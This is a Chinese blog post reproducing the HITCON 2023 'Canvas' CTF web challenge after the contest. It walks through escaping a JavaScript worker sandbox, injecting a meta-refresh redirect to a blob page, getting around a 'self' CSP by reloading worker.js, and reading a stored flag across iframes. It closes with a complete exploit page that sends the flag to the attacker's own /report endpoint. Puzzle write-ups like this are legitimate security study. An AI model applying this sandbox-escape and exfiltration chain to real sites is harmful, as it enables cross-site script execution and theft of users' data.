avatar
CRUMBLEDWALL
Keep Curious
HITCON 2023 Canvas 题目复现
Sep 13,2023

这次 HITCON 是去线下日租房一起打的,确实效率提高的不少,可惜自己还是太菜了,一直怼的这道 Canvas 最后也没能做出来,赛后来复现一下。

题目的界面给出了一个提交 JS 代码来画 Canvas 动画的功能,而提交的 JS 代码被套了两层沙箱,首先是下面这段代码中的层层限制,此外提交的 JS 还被放在 worker api 中执行,跟页面主进程隔离了。

首先来看代码限制,可以看到下面的代码中进行了两种处理。

function allKeys(obj) {
	let keys = []
	while (obj !== null) {
		keys = keys.concat(Object.getOwnPropertyNames(obj))
		keys = keys.concat(Object.keys(Object.getOwnPropertyDescriptors(obj)))
		obj = Object.getPrototypeOf(obj)
	}
	return [...new Set(keys)]
}

// ...

function hardening() {
	const fnCons = [function () {}, async function () {}, function* () {}, async function* () {}].map(
		f => f.constructor
	)
	for (const c of fnCons) {
		Object.defineProperty(c.prototype, 'constructor', {
			get: function () {
				throw new Error('Nope')
			},
			set: function () {
				throw new Error('Nope')
			},
			configurable: false
		})
	}
	const cons = [Object, Array, Number, String, Boolean, Date, RegExp, Promise, Symbol, BigInt].concat(fnCons)
	for (const c of cons) {
		Object.freeze(c)
		Object.freeze(c.prototype)
	}
}

// ...

const canvas = event.data.canvas
const ctx = canvas.getContext('2d')

// taken from https://github.com/lionleaf/dwitter/blob/83cd600567692babb13ffec314c6066c4dfa04e4/dwitter/templates/dweet/dweet.html#L267-L270
const R = function (r, g, b, a) {
	a = a === undefined ? 1 : a
	return 'rgba(' + (r | 0) + ',' + (g | 0) + ',' + (b | 0) + ',' + a + ')'
}

const customArgs = ['c', 'x', 't', 'S', 'C', 'T', 'R']
const argNames = customArgs.concat(allKeys(self))
// run user code in an isolated environment
const fn = Function(...argNames, event.data.code)
const callUserFn = t => {
	try {
		fn.apply(Object.create(null), [canvas, ctx, t, Math.sin, Math.cos, Math.tan, R])
	} catch (e) {
		console.error('User function error', e)
		postMessage({
			type: 'error',
			content: html`<div>
				<h2>Script Error</h2>
				<pre>${e.message ?? ''}\n${e.stack ?? ''}</pre>
			</div>`
		})
		return false
	}
	return true
}

// ...

hardening()
callUserFn(0)

参数经过了 customArgs.concat(allKeys(self)) 拼接了一大堆变量名进来,如图所示

然而实际传进函数的变量只有这6个:[canvas, ctx, t, Math.sin, Math.cos, Math.tan, R],所以作用域里本来能访问到的一堆变量,都变成了 undefined,此外 hardening 函数 ban 掉了一系列 Function 构造函数,没法走原型链到动态调用这条路。

最后研究出来一种套一层 function 作用域的方法,这样可以拿到一个自由的 eval。

(function(){this.eval("console.log(1)")})()

但是这个任意代码执行是在 worker 里面,独立于主页面进程,我们能控制主页面进程的地方只有主页面进程的一个 message 接受的地方,当我们构造出一个 error 时,可以在主页面插一段 html。

worker.addEventListener('message', function (event) {
	if (event.data.type === 'error') {
		document.getElementById('error-output').setHTML(event.data.content)
	}
})

但是这里的使用的 api 是 setHTML,这是一个新的 api,在设置 HTML 时,会经过 Chrome sanitize api 过滤,限制非常严格,没法绕,唯一能做到的就是插点 标签之类的进行 dom clobbering 或者使用 标签进行调整,关于 sanitize api 的情况,可以看这篇文章的解析。

但是这里并没有 dom clobbering 的利用点,也没有其他的思路了,如果想拿到主界面中变量的值,肯定要在主界面执行 js 才行,于是思路就在这里断下来了。

赛后看了 wp 才知道,原来可以通过 worker api 来新建一个 blob 页面,再借助在主页面插入 meta标签来跳转的方式,跳到 blob 页面,这样就实现了主进程下某个路由的任意执行。

但是这里还有个问题,这个站点的 CSP 是 default-src 'self' 'unsafe-eval' 我们的页面没法直接插入 script 语句,于是就有个比较巧妙的点,因为 woker.js 里是有我们可以控制漏洞点的,所以可以在 blob 页面再次引入 worker.js 然后就实现了站点内的代码任意执行,这个其实也是 default-src 'self' 这种 CSP 的常见绕过思路之一。

而现在 bot 的行为是先打开带有 flag 的页面,再打开我们的页面,等我们添加 payload 时,localStorage 里的 flag 已经被覆盖了,为了能保存 flag,我们可以开两个 iframe,一开始直接开一个不带 payload 的 iframe,另一个延时开启带 payload 的 iframe,然后控制后一个 iframe 跳转到 blob 页面,这时用到一个技巧,同源的 iframe 之间可以使用 top[0].eval 来直接在另一个 iframe 中执行语句,这样就可以拿到初始的 iframe 中保存下来的 flag。

完整的 exp 如下:

<iframe id="orig"></iframe>
<iframe id="f"></iframe>
<script>
    const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))
        ; (async () => {
            const base = `${location.protocol}//${location.host}`
            const target = new URLSearchParams(location.search).get('target') ?? 'http://localhost:8763'
            orig.src = target
            await sleep(500)
            f.src =
                target +
                '/?code=' +
                encodeURIComponent(`
	(function(){
		with(this) {
			const blob = new Blob(['<h1>peko</h1><script src="${target}/worker.js"><\/script>'], {type: 'text/html'})
			const url = URL.createObjectURL(blob)
			postMessage({ type: 'error', content: 'hello' + '<meta http-equiv="refresh" content="0; url='+url+'">' })
		}
	})()
	`)
            await sleep(2000)
            console.log('posting')
            const canvas = document.createElement('canvas').transferControlToOffscreen()
            f.contentWindow.postMessage(
                {
                    type: 'init',
                    code: `
	(function(){
		with(this) {
			location = ${JSON.stringify(base)} + '/report?result=' + encodeURIComponent(top[0].eval('fallback'))
			throw new Error("stop")
		}
	})()
	`,
                    canvas
                },
                '*',
                [canvas]
            )
        })()
</script>
Copyright @ 2018-2024
Crumbledwall